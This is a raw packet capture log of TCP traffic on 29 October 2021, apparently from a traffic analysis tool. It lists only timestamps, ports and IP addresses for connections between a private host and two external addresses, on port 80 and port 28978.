Oct 29, 2021 17:56:24.239300966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239322901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.239356041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239401102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239411116 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.239476919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239536047 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.296680927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.296727896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.296766996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.296807051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.296865940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.296926022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.301908016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.301949978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.301989079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302037954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302081108 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302090883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302103996 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302150011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302194118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302212000 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302263975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302303076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302325964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302360058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302402973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302422047 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302459002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302500010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302516937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302556992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302598953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302618027 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302656889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302699089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302717924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302755117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302812099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302819014 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302867889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302910089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.302930117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.302967072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303008080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303025007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.303066969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303124905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303128958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.303179979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303219080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303236008 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.303276062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303318024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303337097 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.303374052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303416967 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303433895 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.303472996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.303533077 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.360945940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361007929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361052036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361098051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361124039 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.361145973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361154079 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.361192942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361238003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361249924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.361284971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.361340046 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.365804911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.365849972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.365886927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.365921021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.365942001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.365953922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.365978956 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.365992069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366024017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366055965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366056919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366091967 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366123915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366126060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366161108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366173029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366194963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366230011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366242886 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366266012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366301060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366318941 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366334915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366369963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366389990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366405964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366440058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366451025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366473913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366508007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366520882 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366571903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366606951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366627932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366643906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366692066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366697073 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366725922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366760015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366770983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366794109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366827965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366854906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366863012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366899014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366913080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.366930962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366966009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.366980076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367001057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367033958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367052078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367069006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367103100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367121935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367136002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367171049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367186069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367206097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367239952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367252111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367276907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367310047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367321014 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367345095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367378950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367393970 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367412090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367444992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367458105 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.367474079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.367518902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.410504103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410532951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410546064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410557985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410571098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410583973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410592079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410604000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410620928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410634041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410641909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410653114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410669088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410681963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410689116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.410716057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.410784960 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.412239075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.412364006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.418124914 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.422784090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.422820091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.423827887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.423876047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.423908949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.423940897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.423949957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.423969984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.423990011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424001932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424034119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424048901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424065113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424093962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424112082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424127102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424158096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424174070 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424189091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424220085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424237967 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424248934 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424283028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424297094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.424313068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.424359083 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.430836916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430864096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430886984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430911064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430918932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.430932999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430957079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.430959940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.430980921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431005001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431005001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.431027889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431051016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431051016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.431073904 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431097031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431097031 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.431121111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431143999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431152105 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.431168079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431190968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431194067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.431211948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.431237936 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.442477942 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.442682981 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.442914963 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.442929983 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.443058014 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.443120003 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.466973066 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.467005968 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.467152119 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.467374086 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.467505932 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.467736959 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.467816114 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.467936039 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.468008041 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.468130112 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.468192101 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.469034910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469064951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469088078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469110966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469136000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469135046 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469158888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469160080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469177961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469197989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469208002 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469218016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469228029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469235897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469249964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469265938 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469297886 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469420910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469444036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469463110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469500065 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469513893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469568968 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.469959974 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.469990015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470012903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470057964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470242977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470268011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470292091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470299006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470308065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470330000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470335007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470354080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470376015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470379114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470391989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470474005 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470745087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470772028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470793962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470803976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470818043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470840931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470841885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470870018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470886946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470895052 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470910072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470932007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.470932961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470957041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470972061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.470977068 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471014977 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471441984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471467972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471489906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471513987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471515894 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471537113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471561909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471577883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471595049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471601009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471612930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471623898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471646070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471648932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471662045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471688032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471796036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471820116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471843958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471854925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471868992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471892118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471893072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471915007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471930981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.471940041 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.471972942 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.491446972 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.491609097 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.491637945 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.491739035 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.491761923 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.491843939 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.492149115 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.492281914 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.492722034 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.492757082 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.492842913 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.492918015 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.493024111 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.493177891 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.493252993 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.493277073 CEST	49854	28978	192.168.2.6	93.115.20.139
